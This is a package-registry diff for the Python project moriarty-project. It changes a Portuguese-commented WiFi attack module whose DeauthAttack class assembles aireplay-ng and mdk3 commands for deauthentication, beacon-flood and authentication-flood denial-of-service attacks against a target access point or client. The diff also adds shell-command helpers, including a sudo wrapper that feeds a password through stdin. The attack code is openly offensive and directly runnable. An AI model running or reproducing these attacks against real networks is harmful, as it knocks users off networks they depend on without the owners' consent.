moriarty-project 0.1.19__py3-none-any.whl → 0.1.21__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -28,6 +28,9 @@ from ...core.utils import (
28
28
  get_interface_mac
29
29
  )
30
30
 
31
+ # Importa o decorador de registro de ataques
32
+ from . import register_attack
33
+
31
34
  # Configuração de logging
32
35
  logging.basicConfig(level=logging.INFO)
33
36
  logger = logging.getLogger(__name__)
@@ -57,34 +60,32 @@ class DeauthEventType(Enum):
57
60
  @dataclass
58
61
  class DeauthEvent:
59
62
  """Evento de progresso do ataque de desautenticação."""
60
- type: DeauthEventType
63
+ type: DeauthAttackType
61
64
  message: str = ""
62
65
  data: Dict[str, Any] = field(default_factory=dict)
63
66
 
67
+ @register_attack
64
68
  class DeauthAttack:
65
- """Classe para realizar ataques de desautenticação."""
69
+ """
70
+ Ataque de desautenticação WiFi.
66
71
 
67
- def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
68
- """
69
- Inicializa o ataque de desautenticação.
70
-
71
- Args:
72
- interface: Interface de rede para usar no ataque
73
- deauth_type: Tipo de ataque de desautenticação
74
- """
75
- self.interface = interface
76
- self.deauth_type = deauth_type
72
+ Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
73
+ Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
74
+ """
75
+
76
+ # Metadados do ataque
77
+ name = "deauth"
78
+ description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
79
+
80
+ def __init__(self):
81
+ """Inicializa o ataque de desautenticação."""
82
+ self.interface = None
83
+ self.deauth_type = None
77
84
  self.is_running = False
78
85
  self.stop_requested = False
79
86
  self.packets_sent = 0
80
87
  self.process = None
81
-
82
- # Verifica dependências
83
88
  self._check_dependencies()
84
-
85
- # Verifica privilégios
86
- if not is_root():
87
- raise PermissionError("Este ataque requer privilégios de root")
88
89
 
89
90
  def _check_dependencies(self) -> None:
90
91
  """Verifica se todas as dependências necessárias estão instaladas."""
@@ -97,36 +98,53 @@ class DeauthAttack:
97
98
  "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
98
99
  )
99
100
 
100
- def start(self, bssid: str, client_mac: str = None,
101
- count: int = 0, delay: int = 100,
102
- reason: int = 7, channel: int = None,
103
- callback: Callable[[DeauthEvent], None] = None) -> bool:
101
+ def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
104
102
  """
105
- Inicia o ataque de desautenticação.
103
+ Executa o ataque de desautenticação.
106
104
 
107
105
  Args:
108
- bssid: Endereço MAC do ponto de acesso
109
- client_mac: Endereço MAC do cliente (None para broadcast)
110
- count: Número de pacotes a enviar (0 para contínuo)
111
- delay: Atraso entre pacotes em milissegundos
112
- reason: Código de motivo da desautenticação
113
- channel: Canal da rede (opcional, tenta detectar automaticamente)
114
- callback: Função de callback para eventos
115
-
116
- Returns:
117
- True se o ataque foi iniciado com sucesso, False caso contrário
106
+ iface: Interface de rede a ser usada
107
+ target: Endereço MAC do alvo (pode ser um cliente ou AP)
108
+ **kwargs: Argumentos adicionais:
109
+ - bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
110
+ - client_mac: Endereço MAC do cliente (opcional, None para broadcast)
111
+ - count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
112
+ - delay: Atraso entre pacotes em ms (padrão: 100)
113
+ - reason: Código de motivo (padrão: 7)
114
+ - channel: Canal da rede (opcional, tenta detectar)
115
+ - deauth_type: Tipo de ataque (padrão: DEAUTH)
118
116
  """
119
- self.is_running = True
120
- self.stop_requested = False
121
- self.packets_sent = 0
117
+ self.interface = iface
118
+ bssid = target or kwargs.get('bssid')
119
+ client_mac = kwargs.get('client_mac')
120
+ count = kwargs.get('count', 0)
121
+ delay = kwargs.get('delay', 100)
122
+ reason = kwargs.get('reason', 7)
123
+ channel = kwargs.get('channel')
124
+ deauth_type = kwargs.get('deauth_type', 'DEAUTH')
125
+
126
+ # Configura o tipo de ataque
127
+ self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
128
+
129
+ # Função de callback padrão
130
+ def default_callback(event):
131
+ if event.type == DeauthEventType.INFO:
132
+ logger.info(event.message)
133
+ elif event.type == DeauthEventType.ERROR:
134
+ logger.error(event.message)
135
+
136
+ callback = kwargs.get('callback', default_callback)
122
137
 
123
- # Configura o monitoramento de eventos
124
138
  def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
125
139
  if callback:
126
140
  event = DeauthEvent(type=event_type, message=message, data=kwargs)
127
141
  callback(event)
128
142
 
129
143
  try:
144
+ # Verifica privilégios
145
+ if not is_root():
146
+ raise PermissionError("Este ataque requer privilégios de root")
147
+
130
148
  # Define o canal, se especificado
131
149
  if channel:
132
150
  self._set_channel(channel)
@@ -136,14 +154,6 @@ class DeauthAttack:
136
154
  cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
137
155
  elif self.deauth_type == DeauthAttackType.AUTH_DOS:
138
156
  cmd = self._prepare_auth_dos(bssid)
139
- elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
140
- cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
141
- elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
142
- cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
143
- elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
144
- if not client_mac:
145
- raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
146
- cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
147
157
  else: # Desautenticação padrão
148
158
  cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
149
159
 
@@ -159,6 +169,7 @@ class DeauthAttack:
159
169
 
160
170
  # Monitora a saída
161
171
  start_time = time.time()
172
+ self.is_running = True
162
173
 
163
174
  while True:
164
175
  # Verifica se foi solicitado para parar
@@ -199,142 +210,53 @@ class DeauthAttack:
199
210
  return True
200
211
 
201
212
  except Exception as e:
202
- event_handler(
203
- DeauthEventType.ERROR,
204
- f"Erro durante o ataque de desautenticação: {str(e)}"
205
- )
213
+ event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
206
214
  return False
207
-
208
215
  finally:
209
216
  self.is_running = False
210
- self._stop_process()
217
+
218
+ def _set_channel(self, channel: int) -> None:
219
+ """Define o canal da interface de rede."""
220
+ try:
221
+ subprocess.run(
222
+ ["iwconfig", self.interface, "channel", str(channel)],
223
+ check=True,
224
+ capture_output=True
225
+ )
226
+ except subprocess.CalledProcessError as e:
227
+ raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
211
228
 
212
229
  def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
213
- count: int = 0, delay: int = 100,
214
- reason: int = 7) -> List[str]:
230
+ count: int = 0, delay: int = 100,
231
+ reason: int = 7) -> List[str]:
215
232
  """Prepara o comando para desautenticação padrão."""
216
- cmd = [
217
- 'aireplay-ng',
218
- '--deauth', str(count) if count > 0 else '0',
219
- '-a', bssid,
220
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
221
- '--ignore-negative-one',
222
- ]
223
-
224
- if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
225
- cmd.extend(['-c', client_mac])
233
+ cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
234
+ "-a", bssid, "-D", str(delay), "--ignore-negative-one"]
226
235
 
227
- if delay > 0:
228
- cmd.extend(['--deauth', str(delay)])
236
+ if client_mac:
237
+ cmd.extend(["-c", client_mac])
229
238
 
230
239
  cmd.append(self.interface)
231
240
  return cmd
232
241
 
233
242
  def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
234
243
  """Prepara o comando para ataque de Beacon Flood."""
235
- # Usa o mdk3 para enviar beacons falsos
236
- return [
237
- 'mdk3', self.interface, 'b',
238
- '-n', essid,
239
- '-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
240
- '-s', '1000' # Velocidade de envio
241
- ]
244
+ return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
242
245
 
243
246
  def _prepare_auth_dos(self, bssid: str) -> List[str]:
244
247
  """Prepara o comando para ataque de negação de serviço por autenticação."""
245
- # Usa o mdk3 para enviar solicitações de autenticação em massa
246
- return [
247
- 'mdk3', self.interface, 'a',
248
- '-a', bssid,
249
- '-m', # Usa endereços MAC aleatórios
250
- '-s', '1000' # Velocidade de envio
251
- ]
252
-
253
- def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
254
- """Prepara o comando para desautenticação em broadcast."""
255
- return [
256
- 'mdk3', self.interface, 'd',
257
- '-b', bssid,
258
- '-c', str(self._get_channel() or '1'),
259
- '-s', '1000',
260
- '-n', str(count) if count > 0 else '0'
261
- ]
262
-
263
- def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
264
- """Prepara o comando para desautenticação em multicast."""
265
- # Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
266
- return [
267
- 'aireplay-ng',
268
- '--deauth', str(count) if count > 0 else '0',
269
- '-a', bssid,
270
- '-h', '01:00:5E:00:00:01', # Endereço multicast
271
- '--ignore-negative-one',
272
- self.interface
273
- ]
274
-
275
- def _prepare_directed_deauth(self, bssid: str, client_mac: str,
276
- count: int, delay: int, reason: int) -> List[str]:
277
- """Prepara o comando para desautenticação direcionada."""
278
- return [
279
- 'aireplay-ng',
280
- '--deauth', str(count) if count > 0 else '0',
281
- '-a', bssid,
282
- '-c', client_mac,
283
- '--ignore-negative-one',
284
- self.interface
285
- ]
286
-
287
- def _set_channel(self, channel: int) -> bool:
288
- """Define o canal da interface de rede."""
289
- try:
290
- subprocess.run(
291
- ['iwconfig', self.interface, 'channel', str(channel)],
292
- check=True,
293
- capture_output=True
294
- )
295
- return True
296
- except subprocess.CalledProcessError as e:
297
- logger.error(f"Erro ao definir o canal: {e.stderr}")
298
- return False
299
-
300
- def _get_channel(self) -> Optional[int]:
301
- """Obtém o canal atual da interface de rede."""
302
- try:
303
- result = subprocess.run(
304
- ['iwconfig', self.interface],
305
- capture_output=True,
306
- text=True
307
- )
308
-
309
- # Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
310
- match = re.search(r'Channel:(\d+)', result.stdout)
311
- if match:
312
- return int(match.group(1))
313
-
314
- match = re.search(r'Channel\s+(\d+)', result.stdout)
315
- if match:
316
- return int(match.group(1))
317
-
318
- return None
319
-
320
- except Exception as e:
321
- logger.error(f"Erro ao obter o canal: {e}")
322
- return None
248
+ return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
323
249
 
324
- def _stop_process(self):
250
+ def _stop_process(self) -> None:
325
251
  """Para o processo em execução."""
326
252
  if self.process and self.process.poll() is None:
253
+ self.process.terminate()
327
254
  try:
328
- self.process.terminate()
329
255
  self.process.wait(timeout=5)
330
- except:
331
- try:
332
- self.process.kill()
333
- except:
334
- pass
256
+ except subprocess.TimeoutExpired:
257
+ self.process.kill()
335
258
 
336
- def stop(self):
259
+ def stop(self) -> None:
337
260
  """Solicita a interrupção do ataque."""
338
261
  self.stop_requested = True
339
262
  self._stop_process()
340
- self.is_running = False
@@ -1,62 +1,76 @@
1
1
  """
2
- Utilitários para o módulo WiFiPPLER.
2
+ Módulo de utilidades do WiFiPPLER.
3
+
4
+ Este módulo fornece funções auxiliares para operações comuns de rede e sistema.
3
5
  """
4
- import os
5
- import sys
6
- import re
7
- import subprocess
8
- import shlex
9
- import shutil
10
- import logging
11
- import fcntl
12
- import struct
13
- import array
14
- import platform
15
- import asyncio
16
- from .utils import (
17
- is_root,
18
- get_wireless_interfaces,
19
- get_network_interfaces,
20
- get_monitor_interfaces,
21
- set_monitor_mode,
22
- restore_network_interface,
23
- start_monitor_mode,
24
- stop_monitor_mode,
25
- run_command_async,
26
- randomize_mac,
27
- get_interface_mac,
6
+ from typing import Optional, List, Dict, Any
7
+
8
+ # Importações principais
9
+ from .network import (
28
10
  get_interface_ip,
29
11
  get_interface_netmask,
30
12
  get_interface_gateway,
31
13
  is_wireless_interface,
32
- get_interface_signal,
33
- get_interface_ssid,
34
- get_interface_channel,
35
- get_interface_bitrate,
36
- create_deauth_packet,
37
- parse_airodump_csv,
38
- parse_airodump_stations,
39
- run_command,
40
- command_exists
14
+ get_network_interfaces,
15
+ is_interface_up,
16
+ get_interface_mac
41
17
  )
42
- from dataclasses import asdict
43
18
 
44
- import netifaces
45
- import psutil
46
- from rich.console import Console
47
- from rich.progress import Progress, SpinnerColumn, TextColumn
19
+ from .system import (
20
+ is_root,
21
+ check_dependencies,
22
+ command_exists,
23
+ ensure_root,
24
+ ensure_dependencies,
25
+ get_available_interfaces,
26
+ get_wireless_interfaces
27
+ )
48
28
 
49
- from ..models.network import WiFiNetwork, WiFiClient, WiFiSecurityType, WiFiCipherType, WiFiAuthType
29
+ from .exec import (
30
+ run_command,
31
+ run_command_async,
32
+ run_sudo_command,
33
+ command_success,
34
+ get_command_output,
35
+ get_command_output_safe
36
+ )
50
37
 
51
38
  # Configuração de logging
39
+ import logging
52
40
  logging.basicConfig(level=logging.INFO)
53
41
  logger = logging.getLogger(__name__)
54
- console = Console()
55
42
 
56
- # Constantes
57
- WIRELESS_EXT = "SIOCGIWNAME"
58
- SIOCGIFHWADDR = 0x8927
59
- SIOCGIFADDR = 0x8915
43
+ # Exporta apenas o que é necessário para uso externo
44
+ __all__ = [
45
+ # Funções de rede
46
+ 'get_interface_ip',
47
+ 'get_interface_netmask',
48
+ 'get_interface_gateway',
49
+ 'is_wireless_interface',
50
+ 'get_network_interfaces',
51
+ 'is_interface_up',
52
+ 'get_interface_mac',
53
+
54
+ # Funções do sistema
55
+ 'is_root',
56
+ 'check_dependencies',
57
+ 'command_exists',
58
+ 'ensure_root',
59
+ 'ensure_dependencies',
60
+ 'get_available_interfaces',
61
+ 'get_wireless_interfaces',
62
+
63
+ # Funções de execução de comandos
64
+ 'run_command',
65
+ 'run_command_async',
66
+ 'run_sudo_command',
67
+ 'command_success',
68
+ 'get_command_output',
69
+ 'get_command_output_safe',
70
+
71
+ # Logger
72
+ 'logger'
73
+ ]
60
74
  SIOCGIFNETMASK = 0x891B
61
75
  SIOCGIFBRDADDR = 0x8919
62
76
  SIOCGIFMTU = 0x8921
@@ -0,0 +1,182 @@
1
+ """
2
+ Módulo de execução de comandos para o WiFiPPLER.
3
+
4
+ Fornece funções para execução segura de comandos de sistema.
5
+ """
6
+ import asyncio
7
+ import shlex
8
+ import logging
9
+ import subprocess
10
+ from typing import List, Optional, Union, Dict, Any, Tuple
11
+
12
+ logger = logging.getLogger(__name__)
13
+
14
+ def run_command(
15
+ cmd: Union[str, List[str]],
16
+ capture_output: bool = False,
17
+ check: bool = True,
18
+ **kwargs
19
+ ) -> subprocess.CompletedProcess:
20
+ """Executa um comando no shell com tratamento de erros.
21
+
22
+ Args:
23
+ cmd: Comando a ser executado (string ou lista)
24
+ capture_output: Se deve capturar a saída padrão e de erro
25
+ check: Se deve lançar uma exceção em caso de código de saída diferente de zero
26
+ **kwargs: Argumentos adicionais para subprocess.run()
27
+
28
+ Returns:
29
+ subprocess.CompletedProcess: Resultado da execução do comando
30
+
31
+ Raises:
32
+ subprocess.CalledProcessError: Se check=True e o comando retornar código de saída não zero
33
+ """
34
+ # Configura os argumentos padrão
35
+ kwargs.setdefault('stdout', subprocess.PIPE if capture_output else None)
36
+ kwargs.setdefault('stderr', subprocess.PIPE if capture_output else None)
37
+ kwargs.setdefault('text', True)
38
+
39
+ # Converte o comando para lista se for string
40
+ if isinstance(cmd, str):
41
+ cmd = shlex.split(cmd)
42
+
43
+ # Executa o comando
44
+ try:
45
+ logger.debug(f"Executando comando: {' '.join(cmd)}")
46
+ result = subprocess.run(cmd, check=check, **kwargs)
47
+ return result
48
+ except subprocess.CalledProcessError as e:
49
+ logger.error(f"Erro ao executar comando: {e}")
50
+ if capture_output:
51
+ logger.error(f"Saída de erro: {e.stderr}")
52
+ raise
53
+ except Exception as e:
54
+ logger.error(f"Erro inesperado ao executar comando: {e}")
55
+ raise
56
+
57
+ async def run_command_async(
58
+ cmd: Union[str, List[str]],
59
+ **kwargs
60
+ ) -> subprocess.CompletedProcess:
61
+ """Executa um comando de forma assíncrona.
62
+
63
+ Args:
64
+ cmd: Comando a ser executado (string ou lista)
65
+ **kwargs: Argumentos adicionais para asyncio.create_subprocess_exec()
66
+
67
+ Returns:
68
+ subprocess.CompletedProcess: Resultado da execução do comando
69
+ """
70
+ # Converte o comando para lista se for string
71
+ if isinstance(cmd, str):
72
+ cmd = shlex.split(cmd)
73
+
74
+ # Configura os argumentos padrão
75
+ kwargs.setdefault('stdout', subprocess.PIPE)
76
+ kwargs.setdefault('stderr', subprocess.PIPE)
77
+ kwargs.setdefault('text', True)
78
+
79
+ logger.debug(f"Executando comando assíncrono: {' '.join(cmd)}")
80
+
81
+ try:
82
+ # Cria o processo assíncrono
83
+ process = await asyncio.create_subprocess_exec(
84
+ cmd[0],
85
+ *cmd[1:],
86
+ **kwargs
87
+ )
88
+
89
+ # Aguarda a conclusão do processo
90
+ stdout, stderr = await process.communicate()
91
+
92
+ # Cria um objeto CompletedProcess com o resultado
93
+ return subprocess.CompletedProcess(
94
+ args=cmd,
95
+ returncode=process.returncode,
96
+ stdout=stdout,
97
+ stderr=stderr
98
+ )
99
+ except Exception as e:
100
+ logger.error(f"Erro ao executar comando assíncrono: {e}")
101
+ raise
102
+
103
+ def run_sudo_command(
104
+ cmd: Union[str, List[str]],
105
+ password: Optional[str] = None,
106
+ **kwargs
107
+ ) -> subprocess.CompletedProcess:
108
+ """Executa um comando com privilégios de superusuário.
109
+
110
+ Args:
111
+ cmd: Comando a ser executado (sem o 'sudo')
112
+ password: Senha do usuário (opcional, pode ser solicitada interativamente)
113
+ **kwargs: Argumentos adicionais para run_command()
114
+
115
+ Returns:
116
+ subprocess.CompletedProcess: Resultado da execução do comando
117
+ """
118
+ if isinstance(cmd, str):
119
+ cmd = shlex.split(cmd)
120
+
121
+ # Adiciona o sudo ao início do comando
122
+ sudo_cmd = ['sudo']
123
+
124
+ # Se uma senha for fornecida, usa o -S para ler do stdin
125
+ if password is not None:
126
+ sudo_cmd.extend(['-S'])
127
+
128
+ sudo_cmd.extend(cmd)
129
+
130
+ # Se uma senha for fornecida, envia pelo stdin
131
+ if password is not None:
132
+ kwargs['input'] = f"{password}\n"
133
+
134
+ return run_command(sudo_cmd, **kwargs)
135
+
136
+ def command_success(cmd: str) -> bool:
137
+ """Verifica se um comando é executado com sucesso.
138
+
139
+ Args:
140
+ cmd: Comando a ser verificado
141
+
142
+ Returns:
143
+ bool: True se o comando for executado com sucesso, False caso contrário
144
+ """
145
+ try:
146
+ run_command(cmd, capture_output=True, check=True)
147
+ return True
148
+ except subprocess.CalledProcessError:
149
+ return False
150
+
151
+ def get_command_output(cmd: Union[str, List[str]], **kwargs) -> str:
152
+ """Executa um comando e retorna sua saída padrão.
153
+
154
+ Args:
155
+ cmd: Comando a ser executado
156
+ **kwargs: Argumentos adicionais para run_command()
157
+
158
+ Returns:
159
+ str: Saída padrão do comando
160
+
161
+ Raises:
162
+ subprocess.CalledProcessError: Se o comando retornar código de saída não zero
163
+ """
164
+ kwargs['capture_output'] = True
165
+ result = run_command(cmd, **kwargs)
166
+ return result.stdout.strip()
167
+
168
+ def get_command_output_safe(cmd: Union[str, List[str]], default: str = "", **kwargs) -> str:
169
+ """Executa um comando e retorna sua saída padrão ou um valor padrão em caso de erro.
170
+
171
+ Args:
172
+ cmd: Comando a ser executado
173
+ default: Valor padrão a ser retornado em caso de erro
174
+ **kwargs: Argumentos adicionais para run_command()
175
+
176
+ Returns:
177
+ str: Saída padrão do comando ou o valor padrão em caso de erro
178
+ """
179
+ try:
180
+ return get_command_output(cmd, **kwargs)
181
+ except (subprocess.CalledProcessError, FileNotFoundError):
182
+ return default